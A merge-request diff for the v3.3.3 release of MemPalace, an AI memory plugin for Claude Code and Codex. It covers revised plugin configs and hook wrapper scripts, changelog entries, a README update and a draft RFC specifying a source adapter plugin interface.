Merge pull request #1159 from MemPalace/develop

release: v3.3.3 — sync develop → main for tag cut

.claude-plugin/.mcp.json

@@ -1,9 +1,5 @@
 {
   "mempalace": {
-    "command": "python3",
-    "args": [
-      "-m",
-      "mempalace.mcp_server"
-    ]
+    "command": "mempalace-mcp"
   }
 }

.claude-plugin/hooks/mempal-precompact-hook.sh

@@ -1,5 +1,24 @@
 #!/bin/bash
 # MemPalace PreCompact Hook — thin wrapper calling Python CLI
 # All logic lives in mempalace.hooks_cli for cross-harness extensibility
-INPUT=$(cat)
-echo "$INPUT" | python3 -m mempalace hook run --hook precompact --harness claude-code
+run_mempalace_hook() {
+  if command -v mempalace >/dev/null 2>&1; then
+    mempalace hook run "$@"
+    return $?
+  fi
+
+  if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then
+    python3 -m mempalace hook run "$@"
+    return $?
+  fi
+
+  if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then
+    python -m mempalace hook run "$@"
+    return $?
+  fi
+
+  echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2
+  return 1
+}
+
+run_mempalace_hook --hook precompact --harness claude-code

.claude-plugin/hooks/mempal-stop-hook.sh

@@ -1,5 +1,24 @@
 #!/bin/bash
 # MemPalace Stop Hook — thin wrapper calling Python CLI
 # All logic lives in mempalace.hooks_cli for cross-harness extensibility
-INPUT=$(cat)
-echo "$INPUT" | python3 -m mempalace hook run --hook stop --harness claude-code
+run_mempalace_hook() {
+  if command -v mempalace >/dev/null 2>&1; then
+    mempalace hook run "$@"
+    return $?
+  fi
+
+  if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then
+    python3 -m mempalace hook run "$@"
+    return $?
+  fi
+
+  if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then
+    python -m mempalace hook run "$@"
+    return $?
+  fi
+
+  echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2
+  return 1
+}
+
+run_mempalace_hook --hook stop --harness claude-code

.claude-plugin/marketplace.json

@@ -9,7 +9,7 @@
       "name": "mempalace",
       "source": "./.claude-plugin",
       "description": "AI memory system — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, guided setup.",
-      "version": "3.3.1",
+      "version": "3.3.3",
       "author": {
         "name": "milla-jovovich"
       }

.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "mempalace",
-  "version": "3.3.1",
+  "version": "3.3.3",
   "description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
   "author": {
     "name": "milla-jovovich"
@@ -9,11 +9,7 @@
   "commands": [],
   "mcpServers": {
     "mempalace": {
-      "command": "python3",
-      "args": [
-        "-m",
-        "mempalace.mcp_server"
-      ]
+      "command": "mempalace-mcp"
     }
   },
   "keywords": [

.codex-plugin/hooks/mempal-hook.sh

@@ -3,7 +3,7 @@ set -euo pipefail
 HOOK_NAME="${1:?Usage: mempal-hook.sh <hook-name>}"
 INPUT_FILE=$(mktemp) || { echo "Failed to create temp file" >&2; exit 1; }
 cat > "$INPUT_FILE"
-cat "$INPUT_FILE" | python3 -m mempalace hook run --hook "$HOOK_NAME" --harness codex
+cat "$INPUT_FILE" | mempalace hook run --hook "$HOOK_NAME" --harness codex
 EXIT_CODE=$?
 rm -f "$INPUT_FILE" 2>/dev/null
 exit $EXIT_CODE

.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "mempalace",
-  "version": "3.3.1",
+  "version": "3.3.3",
   "description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
   "author": {
     "name": "milla-jovovich"
@@ -21,11 +21,7 @@
   "hooks": "./hooks.json",
   "mcpServers": {
     "mempalace": {
-      "command": "python3",
-      "args": [
-        "-m",
-        "mempalace.mcp_server"
-      ]
+      "command": "mempalace-mcp"
     }
   },
   "interface": {

CHANGELOG.md

@@ -6,6 +6,75 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 
 ---
 
+## [3.3.3] — 2026-04-23
+
+### Bug Fixes
+
+- **Install regression** — `mempalace-mcp` console script is now declared in `pyproject.toml` alongside `.claude-plugin/plugin.json`'s reference to it. In v3.3.2 the two drifted apart (plugin.json shipped the new `"command": "mempalace-mcp"` form before the matching entry point landed), so every fresh `pip install mempalace==3.3.2` produced a Claude Code plugin config pointing at a binary that wasn't installed. (#1093, #340)
+- Restore silent-save visibility after the Claude Code 2.1.114 client regression — production transcript saves were failing silently until this PR. (#1021)
+- Paginate `status`-path metadata fetches so large palaces don't trip SQLite variable limits. (#851)
+- Resolve the Claude plugin hook runner across platform / plugin-dir variations; previously broke on Windows and some macOS layouts. (#942)
+- Real `python3` resolution for `.sh` hooks with a `MEMPAL_PYTHON` override path. (#833)
+- Add optional `wing` parameter to `tool_diary_write` / `tool_diary_read` and derive per-project wing from the Claude Code transcript path when writing from the stop hook — diary entries from different projects no longer collapse into a shared default wing. (#659)
+- Treat empty string as "no filter" in `mempalace_search` `wing`/`room`; LLM agents that default to filling every optional parameter with `""` no longer get bounced with `must be a non-empty string`. (#1097, #1084)
+- Broaden `_wing_from_transcript_path` to handle Claude Code project folders without a `-Projects-` segment (e.g. `~/dev/<parent>/<project>`, `~/code/<project>`). The project name is now derived from the final dash-separated token of the encoded folder, so Linux users with code outside `~/Projects/` get per-project diary scoping instead of falling through to `wing_sessions`. (#1145, follow-up to #659)
+- `mempalace_diary_read(wing="")` now returns diary entries from every wing this agent has written to, matching the #1097 "empty-string as no filter" pattern. Previously defaulted to `wing_<agent>`, siloing entries that hooks wrote to project-derived wings. (#1145)
+- `mempalace mine` now skips the generated `entities.json` file so its contents aren't re-ingested as project content. (#1175)
+
+### Improvements
+
+- **Deterministic hook saves.** Save hook now uses a silent Python API path, so successive hook invocations produce reproducible results and zero data loss on the hot path. (#673)
+- **Graph cache with write-invalidation** inside `build_graph()` — warm-path calls no longer rebuild the palace-graph per request. (#661)
+- **`mempalace init` entity detection overhaul.** Canonical project names now come from package manifests (`package.json`, `pyproject.toml`, `Cargo.toml`, `go.mod`) and real people come from git commit authors, rather than being inferred from prose. Includes union-find dedup across name/email aliases, bot filtering that keeps `@users.noreply.github.com` humans, and automatic "mine" flagging by contribution share. (#1148)
+- **Regex detector accuracy.** CamelCase extraction so `MemPalace`, `ChromaDB`, `OpenAI` aren't fragmented; tighter versioned/hyphenated pattern kills `context-manager` / `multi-word` false positives; dialogue `^NAME:\s` requires ≥2 hits so `Created: <date>` metadata stops classifying field names as people; expanded stopwords for common English participles and descriptors; high-pronoun signal classifies as person rather than dumping to uncertain. (#1148)
+- **Init → miner wire-up.** Confirmed entities merge into `~/.mempalace/known_entities.json` on init, which the miner reads to tag drawer metadata for entity-filtered search. Previously init's output was not consumed by the miner; the per-project `entities.json` is kept as an audit trail. (#1157)
+- **Case-insensitive project dedup** across manifest, git, and convo sources so casing variants of the same project name collapse into one review entry. (#1175)
+
+### Added
+
+- i18n: Belarusian translation. (#1051)
+- i18n: entity detection for German, Spanish, and French locales. (#1001)
+- i18n: Traditional + Simplified Chinese entity detection. (#945)
+- **`mempalace init --llm`**: optional LLM-assisted entity classification. Defaults to local Ollama (zero-API); also supports any OpenAI-compatible endpoint (LM Studio, llama.cpp server, vLLM, OpenRouter, etc.) and the Anthropic Messages API. Runs interactively with a progress indicator; Ctrl-C cancels cleanly and returns partial results. Useful for prose-heavy folders where the regex detector struggles (diaries, transcripts, research notes). Opt-in only — default init path remains zero-API. (#1150)
+- **Claude Code conversation scanner.** `~/.claude/projects/<slug>/` directories now contribute project entities using each session's authoritative `cwd` metadata, avoiding slug-decoding ambiguity. (#1150)
+
+### Known — deferred to v3.3.4
+
+- HNSW parallel-insert SIGSEGV when `hnsw:num_threads` is unset on collection creation (#974) — fix in-flight as #976, awaiting rebase against develop.
+
+---
+
+## [3.3.2] — 2026-04-19
+
+### Bug Fixes
+
+- Fix silent drop of `.jsonl` files in project miner; raise `MAX_FILE_SIZE` cap from 10 MB to 500 MB so large transcripts no longer fall through unnoticed. Adds a tandem **sweeper** — a message-level, timestamp-coordinated, idempotent safety net that catches anything the primary miner missed. (#998)
+- `mempalace sweep <target>` CLI to run the sweeper on demand against a transcript file or a directory. (#998)
+- Guard `Layer3.search_raw` against `None` doc/meta rows returned by ChromaDB — prevents `AttributeError` crashes on mixed-schema palaces. (#1011, #1013)
+- Guard searcher API path, closet loop, and miner status histogram against `None` metadata; matching guards added to `tool_status` / `list_wings` / `list_rooms` / `get_taxonomy` in the MCP server. (#999)
+- Upgrade `chromadb` floor to `>=1.5.4` for Python 3.13 / 3.14 compatibility and pin upper bound to `<2` so future breaking majors don't silently install. (#1010)
+- Fix Unicode checkmark rendering on Windows terminals that can't encode the `✓` glyph — avoids `UnicodeEncodeError` crashes on first-run output. (#681)
+- **`quarantine_stale_hnsw`** — on open, detect HNSW segment directories whose `data_level0.bin` is significantly older than `chroma.sqlite3` and rename them out of the way. Recovers cleanly from HNSW/sqlite drift that otherwise causes SIGSEGV on `count()` / `query(...)` (the chroma-core/chroma#2594 failure mode). Rebuilds the index lazily on next use. (#1000)
+- **PID file guard** — `mine` writes a per-source-directory PID file and refuses to start if an existing mine is still running, preventing process stacking that bloats HNSW and wedges concurrent writes. Includes cross-platform PID liveness check (`os.kill(pid, 0)` terminates on Windows, so the guard falls back to a platform-aware probe). (#1023)
+
+### Improvements
+
+- **RFC 001 §10 — typed backend contracts.** `BaseBackend` now returns typed `QueryResult` / `GetResult` dataclasses and `PalaceRef` for palace identity; registry-based backend discovery. Internal refactor; no user-facing API change. (#995)
+- **RFC 002 §9 — source adapter scaffolding.** Introduces `BaseSourceAdapter`, adapter registry, and `PalaceContext` — the plumbing that future pluggable ingest sources will target. Internal refactor; no user-facing API change yet. (#1014)
+
+### Documentation
+
+- **RFC 002** — full specification for the source adapter plugin system (future pluggable ingest). (#990)
+- First-run help text and `README` now reference the real `~/.claude/projects/<project>/` path shape instead of the placeholder `/path/to/transcripts`. (#996, #1012)
+
+### Internal
+
+- Harden sweeper for production: verbatim tool blocks, full `session_id`, logged failures.
+- Address Copilot review on #995: cursor tie-break, honest metrics, accurate comments.
+- Test hygiene: avoid ONNX network download in update-length validation tests; dedup update-length-validation tests; fix Windows file-lock in cache-invalidation test.
+
+---
+
 ## [3.3.1] — 2026-04-16
 
 ### New Features

README.md

@@ -55,7 +55,7 @@ mempalace init ~/projects/myapp
 ```bash
 # Mine content into the palace
 mempalace mine ~/projects/myapp                    # project files
-mempalace mine ~/chats/ --mode convos              # conversation exports
+mempalace mine ~/.claude/projects/ --mode convos   # Claude Code sessions (scope with --wing per project)
 
 # Search
 mempalace search "why did we switch to GraphQL"
@@ -177,7 +177,7 @@ PRs welcome. See [CONTRIBUTING.md](CONTRIBUTING.md).
 MIT — see [LICENSE](LICENSE).
 
 <!-- Link Definitions -->
-[version-shield]: https://img.shields.io/badge/version-3.3.1-4dc9f6?style=flat-square&labelColor=0a0e14
+[version-shield]: https://img.shields.io/badge/version-3.3.3-4dc9f6?style=flat-square&labelColor=0a0e14
 [release-link]: https://github.com/MemPalace/mempalace/releases
 [python-shield]: https://img.shields.io/badge/python-3.9+-7dd8f8?style=flat-square&labelColor=0a0e14&logo=python&logoColor=7dd8f8
 [python-link]: https://www.python.org/

docs/rfcs/002-source-adapter-plugin-spec.md

@@ -0,0 +1,768 @@
+# RFC 002 — Source Adapter Plugin Specification
+
+- **Status:** Draft
+- **Tracking issue:** [#989](https://github.com/MemPalace/mempalace/issues/989)
+- **Related:** [#274](https://github.com/MemPalace/mempalace/issues/274), [#23](https://github.com/MemPalace/mempalace/pull/23), [#169](https://github.com/MemPalace/mempalace/pull/169), [#232](https://github.com/MemPalace/mempalace/pull/232), [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98), [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592), [#702](https://github.com/MemPalace/mempalace/pull/702), [#981](https://github.com/MemPalace/mempalace/issues/981), [#244](https://github.com/MemPalace/mempalace/pull/244), [#419](https://github.com/MemPalace/mempalace/pull/419), [#300](https://github.com/MemPalace/mempalace/pull/300), [#952](https://github.com/MemPalace/mempalace/pull/952), [#389](https://github.com/MemPalace/mempalace/pull/389), [#434](https://github.com/MemPalace/mempalace/pull/434)
+- **Sibling spec:** [RFC 001 — Storage Backend Plugin Specification](001-storage-backend-plugin-spec.md)
+- **Spec version:** `1.0`
+
+## Summary
+
+A formal contract for MemPalace source adapters so third parties can ship `pip install mempalace-source-<name>` packages (Cursor, OpenCode, git, Slack, Notion, email, calendar, Whisper transcripts, …) that drop into `mempalace mine` without patching core. The spec defines the adapter interface, record shape, metadata schema contract, privacy class, entry-point registration, incremental-ingest semantics, closet integration, a declared-transformation model that replaces the informal "verbatim" promise with a verifiable one, conformance tests, and the refactor of the existing file and conversation miners into first-party adapters on the same contract.
+
+RFC 001 formalized the write side (where drawers are stored). This RFC formalizes the read side (where content comes from). Both are required for MemPalace to function as a durable daemon managing heterogeneous palaces across many source types.
+
+## Motivation
+
+Six source ingesters are currently in flight, each solving the same problem a different way:
+
+| PR / Issue | Source | Mechanism |
+|---|---|---|
+| [#274](https://github.com/MemPalace/mempalace/issues/274) | Cursor | `workspaceStorage/*.vscdb` SQLite extraction |
+| [#23](https://github.com/MemPalace/mempalace/pull/23) | OpenCode | SQLite session database |
+| [#169](https://github.com/MemPalace/mempalace/pull/169) | Pi agent | JSONL session normalizer |
+| [#232](https://github.com/MemPalace/mempalace/pull/232) | Cursor (JSONL variant) | JSONL normalizer |
+| [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98) | Git | `git log` + `gh pr view` with structured diff summary |
+| [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592) | Delphi Oracle | Real-time intelligence signals |
+| [#702](https://github.com/MemPalace/mempalace/pull/702) | Cursor + factory.ai | Combined session miners |
+
+Plus three ingesters already grafted into core:
+
+- `mempalace/miner.py` — filesystem project miner, fixed char-window chunking, keyword hall routing
+- `mempalace/convo_miner.py` — chat transcript miner with exchange-pair chunking
+- `mempalace/normalize.py` — format detection for four chat-export shapes (Claude Code JSONL, Codex JSONL, Claude.ai / ChatGPT / Slack JSON)
+
+Plus one open proposal for a different ingest semantic:
+
+- [#981](https://github.com/MemPalace/mempalace/issues/981) — path-level descriptions: mine metadata-as-content instead of raw bytes for matched paths. This is a legitimate third ingest mode (alongside chunked-content and whole-record) that the current architecture has no home for.
+
+Each contributor has reinvented source discovery, source-item identity, incremental-ingest bookkeeping, metadata shape, and chunking strategy. Format detection for new chat exports lands in `normalize.py` as one more branch in an `if` chain. There is no shared abstraction, no conformance suite, and no contract new adapter authors can build against.
+
+This is the same situation RFC 001 addresses for storage backends: a pattern that emerged organically, now needs a specification so the community can contribute cleanly and enterprises can build against a stable surface.
+
+### Why this matters beyond developer tooling
+
+The adapter pattern is source-agnostic. What has so far shown up as "Cursor transcripts" and "git commits" generalizes to:
+
+- **Knowledge work** — Notion, Obsidian, Logseq, Google Docs, iA Writer, Zettlr
+- **Communications** — Slack, Discord, Teams, Signal backups, mbox/eml email, iMessage
+- **Research** — arXiv PDFs, Zotero libraries, bookmarked articles, Kindle highlights, web archives
+- **Creator workflows** — YouTube captions, podcast transcripts (Whisper/Deepgram), Descript projects
+- **Regulated domains** — medical records, legal filings, financial statements (all gated on §6 privacy class)
+
+Enterprises key on their own domain metadata — `repo/PR/SHA` for engineering, `patient/encounter/CPT` for healthcare, `case/docket/jurisdiction` for legal. The schema lives in the adapter; the content lives in the drawer. This is how structured-data use cases are served without violating the byte-preservation commitments adapters make.
+
+## Goals
+
+1. A source adapter ships as a standalone Python package; `pip install mempalace-source-<name>` is sufficient to use it.
+2. `mempalace mine` and the MCP mine tool are source-agnostic — all extraction goes through registered adapters. No `if source_type == 'foo'` branches in core.
+3. Content transformations are **declared** (§1.4): each adapter advertises the set of transformations it applies to source bytes. Byte-preserving adapters declare the empty set. Consumers can programmatically determine what happened to their data.
+4. Incremental ingest is cheap and correct: re-running mine only touches items whose source-side version changed, using the palace itself as the cursor (no sidecar).
+5. Each adapter declares a structured metadata schema. Enterprises index and filter on that schema. Core is schema-agnostic beyond the universal fields in §5.1.
+6. The existing `miner.py` and `convo_miner.py` become the first two first-party adapters on the new contract. Drawer metadata fields and field names are preserved — the spec adds fields, does not rename them.
+7. A privacy class is declarable at the adapter boundary so sensitive sources (medical, financial, personal comms) are handled with explicit policy rather than implicit trust.
+
+## Non-goals
+
+- Defining chunking. Each adapter owns its chunking strategy — tree-sitter for code, exchange-pair for chat, whole-record for a PR. Core does not impose a chunk size.
+- Defining live-stream / webhook shapes (the Delphi Oracle pattern of continuous signal ingestion). That is a separate future RFC; v1 is pull-mode.
+- Defining LLM-based structured extraction. Adapters MAY use an LLM; the spec does not mandate or standardize this.
+- Defining cross-adapter dedup. When the same content appears via two adapters (e.g., a PR body mined via `git` and as a conversation quote mined via `claude-code`), both drawers land. Deduplication policy is a separate concern handled at query time by `searcher.py`.
+- Defining closet construction. Core continues to build closets from adapter-yielded drawers (§1.7); the closet-building algorithm itself is not part of this spec.
+
+---
+
+## 1. Source adapter contract
+
+### 1.1 Required method
+
+All adapters implement `BaseSourceAdapter` with a single kwargs-only ingest method:
+
+```python
+class BaseSourceAdapter(ABC):
+    @abstractmethod
+    def ingest(
+        self,
+        *,
+        source: SourceRef,
+        palace: PalaceContext,
+    ) -> Iterator[IngestResult]:
+        """Enumerate and extract content from a source.
+
+        Yields a stream of IngestResult values. Lazy adapters yield
+        `SourceItemMetadata` ahead of the drawers for that item, so core
+        can report progress and check `is_current` before the adapter
+        commits to the fetch. Adapters with no lazy-fetch benefit may
+        interleave `SourceItemMetadata` and `DrawerRecord` items freely.
+        """
+
+    @abstractmethod
+    def describe_schema(self) -> AdapterSchema:
+        """Declare the structured metadata this adapter attaches.
+
+        Returned value is stable for a given adapter version. Enterprises
+        index on this schema; core uses it to validate adapter output.
+        """
+```
+
+The single-method `ingest()` contract was chosen over a `discover` / `extract` split. Most current ingesters have no meaningful laziness benefit (filesystem walking is cheap, transcript normalizing is cheap). Adapters that do (git-mine's `gh pr list` vs `gh pr view`; hypothetical Slack/Notion API) express laziness by yielding `SourceItemMetadata` first and deferring fetch until core confirms staleness via `is_current()`.
+
+### 1.2 Optional methods (default implementations on the ABC)
+
+```python
+def is_current(
+    self,
+    *,
+    item: SourceItemMetadata,
+    existing_metadata: dict | None,
+) -> bool:
+    """Return True if the palace already has an up-to-date copy.
+
+    Called by core after querying the palace for existing drawers with
+    matching source_file. The adapter compares its version token against
+    the stored metadata and returns True to skip extraction.
+
+    Default implementation: returns False (always re-extract). Adapters
+    advertising `supports_incremental` override this.
+    """
+    return False
+
+def source_summary(self, *, source: SourceRef) -> SourceSummary:
+    """Describe a source without extracting (e.g., 'git repo mempalace,
+    847 commits, 132 PRs'). Default: returns empty summary."""
+    return SourceSummary(description=self.name)
+
+def close(self) -> None:
+    return None
+```
+
+Core's incremental loop (pseudocode):
+
+```python
+for result in adapter.ingest(source=source, palace=ctx):
+    if isinstance(result, SourceItemMetadata):
+        existing = ctx.collection.get(where={"source_file": result.source_file}, limit=1)
+        if adapter.is_current(item=result, existing_metadata=existing):
+            ctx.skip_current_item()   # adapter stops yielding drawers for this item
+    elif isinstance(result, DrawerRecord):
+        ctx.upsert_drawer(result)
+```
+
+### 1.3 Typed records
+
+```python
+@dataclass(frozen=True)
+class SourceRef:
+    """A handle to the source a user wants to ingest.
+
+    local_path is for filesystem-rooted sources (project dir, mbox file).
+    uri is for URL-like references (github.com/org/repo, slack://workspace/channel).
+    options carries adapter-specific config (non-secret values only; §M2).
+    """
+    local_path: str | None = None
+    uri: str | None = None
+    options: dict = field(default_factory=dict)
+
+@dataclass(frozen=True)
+class SourceItemMetadata:
+    """Lightweight pointer yielded before drawers for lazy-fetch adapters."""
+    source_file: str                 # Logical identity — filesystem path, PR URI, etc.
+    version: str                     # Source-side version token (mtime, commit SHA, ETag, rev id).
+    size_hint: int | None = None     # Bytes, if known. Used for progress reporting.
+    route_hint: RouteHint | None = None
+
+@dataclass(frozen=True)
+class DrawerRecord:
+    """One drawer's worth of content plus metadata."""
+    content: str                     # Subject to §1.4 declared transformations.
+    source_file: str                 # Foreign key to SourceItemMetadata.source_file.
+    chunk_index: int = 0             # 0 for single-drawer items; 0..N-1 for chunked items.
+    metadata: dict = field(default_factory=dict)  # Flat: str/int/float/bool only. Must conform to adapter schema.
+    route_hint: RouteHint | None = None
+
+@dataclass(frozen=True)
+class RouteHint:
+    wing: str | None = None
+    room: str | None = None
+    hall: str | None = None
+
+@dataclass(frozen=True)
+class SourceSummary:
+    description: str
+    item_count: int | None = None
+
+# IngestResult is the union type adapters yield.
+IngestResult = SourceItemMetadata | DrawerRecord
+
+# PalaceContext carries collection handles, palace config, and progress hooks
+# into the adapter. Full definition in §9 (cleanup prerequisite).
+```
+
+### 1.4 Declared transformations
+
+Adapters cannot silently alter content. Every adapter declares the set of transformations it applies:
+
+```python
+class BaseSourceAdapter(ABC):
+    declared_transformations: ClassVar[frozenset[str]] = frozenset()
+```
+
+The invariant: **no transformation is applied that is not declared in this set**. Adapters declaring `frozenset()` are byte-preserving end-to-end (modulo the read, which may itself involve `utf8_replace_invalid` — see below).
+
+Reserved transformation names (v1):
+
+| Name | Meaning |
+|---|---|
+| `utf8_replace_invalid` | Undecodable bytes replaced with U+FFFD on read (equivalent to `open(..., errors="replace")`). |
+| `newline_normalize` | CRLF / CR converted to LF. |
+| `whitespace_trim` | Leading / trailing whitespace stripped at a record boundary. |
+| `whitespace_collapse_internal` | Runs of three or more blank lines collapsed to two. |
+| `line_trim` | Each line individually stripped of leading / trailing whitespace. |
+| `line_join_spaces` | Adjacent lines joined with single spaces, newlines discarded. |
+| `blank_line_drop` | Empty lines between non-empty lines dropped. |
+| `strip_tool_chrome` | System tags, hook output, tool UI chrome removed (see `normalize.strip_noise`). |
+| `tool_result_truncate` | Tool output heads/tails kept; middle replaced with a marker string. |
+| `spellcheck_user` | User turns rewritten by spellcheck. |
+| `synthesized_marker` | Adapter inserts its own strings (e.g., `[N lines omitted]`, `[registry] …`, Slack provenance footer). |
+| `speaker_role_assignment` | Multi-party speakers alternately assigned `user` / `assistant` roles (Slack). |
+| `tool_result_omitted` | Some tool outputs fully omitted from transcript (e.g., Read/Edit/Write results in `normalize._format_tool_result`). |
+
+Adapters MAY define their own transformation names for behaviors the reserved list does not cover. Third-party names SHOULD be prefixed with the adapter name to avoid collisions (e.g., `cursor.composer_ordering`).
+
+**Capability derivation:**
+- `byte_preserving` — declared_transformations is empty AND output bytes equal input bytes for any source the adapter can read. Advertised via the `byte_preserving` capability (§2.1). MUST be verified by §7.2 round-trip test.
+- `declared_lossy` — declared_transformations is non-empty. The adapter's output is reproducible from source by applying *only* the declared transformations. MUST be verified by §7.3 declared-transformation test.
+
+**Existing code mapping (for the cleanup PR):**
+
+| Module | Declared transformations |
+|---|---|
+| `filesystem` (current `miner.py`) | `utf8_replace_invalid`, `whitespace_trim` |
+| `conversations` (current `convo_miner.py` + `normalize.py`) | `utf8_replace_invalid`, `newline_normalize`, `line_trim`, `line_join_spaces`, `blank_line_drop`, `whitespace_collapse_internal`, `strip_tool_chrome`, `tool_result_truncate`, `tool_result_omitted`, `spellcheck_user`, `synthesized_marker`, `speaker_role_assignment` |
+
+The filesystem adapter is nearly byte-preserving today; the conversations adapter is extensively transformed. Both are honest after this spec lands because both are fully declared.
+
+This replaces the MISSION.md promise of "verbatim always" with a stronger one: every adapter publishes what it does to your data, and the conformance suite verifies it hasn't lied. "Verbatim" becomes a capability some adapters hold (byte_preserving), not a global claim about a lossy pipeline.
+
+### 1.5 Three ingest modes
+
+A single adapter declares one or more of three modes via a class attribute:
+
+```python
+class BaseSourceAdapter(ABC):
+    supported_modes: ClassVar[frozenset[Literal["chunked_content", "whole_record", "metadata_only"]]]
+```
+
+| Mode | Content origin |
+|---|---|
+| `chunked_content` | Source bytes, split into chunks the adapter chooses (current filesystem behavior). |
+| `whole_record` | Source bytes, one drawer per source item (e.g., PR → 1 drawer). |
+| `metadata_only` | Synthesized description of a source item (absorbs #981). The description bytes are authored by the user or adapter, not the source. Declared transformations (§1.4) do not apply — content is not derived from source bytes. |
+
+`metadata_only` resolves #981: description-mode matches a path pattern and produces one drawer whose content is the user-authored description rather than the file contents. Conformance tests (§7.2, §7.3) skip `metadata_only` records.
+
+An adapter MAY support multiple modes and select per-item; the per-item mode is recorded in `metadata["ingest_mode"]` (§5.1). This field already exists on conversation drawers (`convo_miner.py:346`) and is the only existing field whose semantics this spec extends rather than preserves.
+
+### 1.6 Chunking delegation
+
+Core does not impose chunking. `miner.py`'s 800-character sliding window is the filesystem adapter's default for unknown file types — not a contract. Adapter authors choose what makes sense:
+
+- Code files → tree-sitter function/class boundaries (future enhancement to the filesystem adapter).
+- Chat transcripts → exchange pairs (current `convo_miner.py` behavior).
+- PRs → whole-record (current `git-mine` behavior in #567).
+- PDFs → page or section.
+- Voice transcripts → speaker turn.
+
+The sole cross-adapter requirement for `chunked_content` mode: chunks for a given `source_file`, re-assembled in `chunk_index` order and accounting for declared transformations in §1.4, reproduce the adapter's internal representation of the source. The conformance suite verifies this.
+
+### 1.7 Closet integration
+
+Closets are the AAAK-compressed index layer (`palace.build_closet_lines`, `upsert_closet_lines`) that points to drawer content and enables LLM-scale scanning without reading every drawer. Closet-building is not an adapter concern:
+
+- **Core builds closets** from adapter-yielded drawers as a post-step, via the existing `palace.py` helpers. Adapters do not call these APIs.
+- **Adapters MAY emit closet hints** in drawer metadata via a flat `;`-joined string:
+  ```python
+  metadata["closet_hints"] = "decided GraphQL; migrated to Postgres; fixed PR-567"
+  ```
+  Core splits on `;` and feeds these as candidate topics alongside the content-scanned ones in `build_closet_lines`. The git adapter can hint decision-signal quotes that raw content-scanning would miss; the conversations adapter can hint section headers; the filesystem adapter has no need and omits the field.
+- **metadata_only drawers get closets too.** Core builds them from the synthesized description content the same way it builds closets for any other drawer. This is how #981's path-level descriptions become searchable.
+- **Closet purging** remains keyed on `source_file` (`purge_file_closets` in `palace.py:221`). Adapters' source_file values must be stable so purge is correct on re-ingest.
+
+Current `convo_miner.py` does not build closets for conversation drawers — an existing gap. The cleanup PR (§9) routes the conversations adapter through the same post-step closet builder as filesystem, closing the gap as a side effect.
+
+---
+
+## 2. Adapter contract
+
+### 2.1 Identity and capabilities
+
+```python
+class BaseSourceAdapter(ABC):
+    name: ClassVar[str]                    # "filesystem", "cursor", "git", "slack", ...
+    spec_version: ClassVar[str] = "1.0"
+    adapter_version: ClassVar[str]         # Independent of spec_version; recorded on every drawer.
+    capabilities: ClassVar[frozenset[str]]
+    supported_modes: ClassVar[frozenset[str]]             # Per §1.5.
+    declared_transformations: ClassVar[frozenset[str]]    # Per §1.4.
+    default_privacy_class: ClassVar[str]                  # Per §6.
+```
+
+Defined capability tokens (v1):
+
+| Token | Meaning |
+|---|---|
+| `byte_preserving` | `declared_transformations` is empty AND extracted content equals source bytes. |
+| `supports_incremental` | Implements `is_current()` meaningfully; `ingest()` respects `ctx.skip_current_item()`. |
+| `supports_structured_metadata` | Attaches fields beyond §5.1 universals. |
+| `supports_entity_hints` | Emits entity hints via `metadata["entity_hints_json"]` (§5.4). |
+| `supports_kg_triples` | Writes knowledge-graph triples directly to the SQLite KG (§5.5). |
+| `supports_closet_hints` | Emits `metadata["closet_hints"]` (§1.7). |
+| `requires_auth` | Needs credentials at runtime (env vars — §4.2). |
+| `requires_external_service` | Needs a running service (Slack API, email server). |
+| `requires_local_tool` | Needs a local binary (`gh`, `rg`, `whisper`). |
+| `adapter_owns_routing` | Returns authoritative `RouteHint` values from `ingest()` that core uses as-is (§G3 / §2.5). |
+| `respects_privacy_class` | Honors §6 privacy-class filtering. |
+
+Capability tokens are free-form strings; third-party adapters MAY declare novel tokens for their ecosystem. Core only inspects the above.
+
+### 2.2 Source references
+
+See `SourceRef` in §1.3. The shape is deliberately open — adapters parse `uri` and `options` as they see fit. Core does not canonicalize URIs.
+
+**Secrets in `SourceRef.options`:** credentials MUST NOT be placed in `options`. The spec reserves `options` for non-secret values (paths, filters, date ranges). Secrets come from env vars per §4.2. An adapter that reads a credential from `options` violates the spec and MUST be rejected by the conformance suite.
+
+### 2.3 Lifecycle
+
+1. `__init__`: lightweight. No I/O, no network, no credential fetch.
+2. First call to `ingest`: may open resources. All I/O is lazy.
+3. `close()`: releases all resources. After `close()`, further calls MUST raise `AdapterClosedError`.
+
+### 2.4 Concurrency
+
+An adapter instance is long-lived and serves many mine operations. Adapters MUST be thread-safe for concurrent `ingest` calls across different `SourceRef` values. MemPalace core serializes calls within a single `SourceRef` unless an adapter advertises `supports_parallel_ingest` (not in v1 — reserved for v1.1).
+
+### 2.5 Routing
+
+Routing is the adapter's responsibility. The filesystem adapter reads `mempalace.yaml` (hall keywords, rooms list) via `MempalaceConfig()` and returns `RouteHint(wing=..., room=..., hall=...)` on each drawer. This relocates `detect_room()` and `detect_hall()` (currently in `miner.py` and `convo_miner.py`) into their respective adapters.
+
+Order of precedence for routing:
+1. Explicit `--wing` / `--room` CLI flags → passed through `SourceRef.options` → adapter honors verbatim.
+2. Palace config match (`mempalace.yaml` hall keywords, room keywords) → adapter computes.
+3. Adapter-internal fallback (e.g., filesystem adapter falls back to `"general"` room).
+
